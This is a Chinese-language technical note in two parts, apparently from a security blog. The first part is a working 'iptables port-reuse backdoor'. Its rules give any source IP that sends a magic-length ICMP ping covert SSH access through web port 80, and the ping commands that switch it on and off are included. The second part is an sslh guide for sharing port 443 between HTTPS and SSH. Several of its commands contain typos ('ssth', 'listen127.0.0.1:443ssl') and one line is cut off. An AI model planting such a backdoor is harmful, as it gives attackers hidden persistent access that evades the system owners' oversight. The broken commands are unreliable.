iptables端口复用后门
iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
开启复用前,WEB 是可以访问的:
开启复用
ping -c 1 -s 1111 192.168.33.78
向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)
关闭复用
ping -c 1 -s 1112 192.168.33.78
向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)
sslh:让https和ssh共享同一个端口
安装sslh
在Arch Linux和Antergos、Manjaro Linux等衍生品上,使用Pacman进行安装,如下所示:
sudo pacman -S sslh
在RHEL、CentOS上,你需要添加EPEL存储库,然后安装SSLH,如下所示:
sudo yum install epel-release -y
sudo yum install ssth -y
在Fedora:
sudo dnf install sslh-y
如果它在默认存储库中不可用,你可以如这里所述手动编译和安装SSLH。
配置Apache或Nginx Web服务器
如你所知,Apache和Nginx Web服务器默认会监听所有网络接口(即0.0.0.0:443)。我们需要更改此设置以告知Web服务器仅侦听localhost接☐(即127.0.0.1:443或localhost::443)。
为此,请编辑Web服务器(nginx或apache)配置文件并找到以下行:
listen 443 ssl;
将其修改为:
listen127.0.0.1:443ssl;
如果你在Apache中使用虚拟主机,请确保你也修改了它。
VirtualHost 127.0.0.1:443
保存并关闭配置文件。不要重新启动该服务。我们还没有完成。
配置SSLH
使Wb服务器仅在本地接口上侦听后,编辑SSLH配置文件:
sudo vi /etc/default/sslh
找到下列行:
Run=no
将其修改为:
Run=yes
然后,向下滚动一点并修改以下行以允许SSLH在所有可用接口上侦听端口443(例如0.0.0.0:443)。
DAEMON OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/ss
这里,
-user sslh:要求在这个特定的用户身份下运行。
-listen0.0.0.0:443:SSLH监听于所有可用接☐的443端口。
-sshs127.0.0.1:22:将SSH流量路由到本地的22端口。
-ssl127.0.0.1:443:将HTTPS/SSL流量路由到本地的443端口。
保存并关闭文件。
最后,启用并启动ssh服务以更新更改。
centos/启动命令
sudo systemctl enable ssth
sudo systemctl start sslh
Ubuntu启动命令
service sslh enable
service sslh restart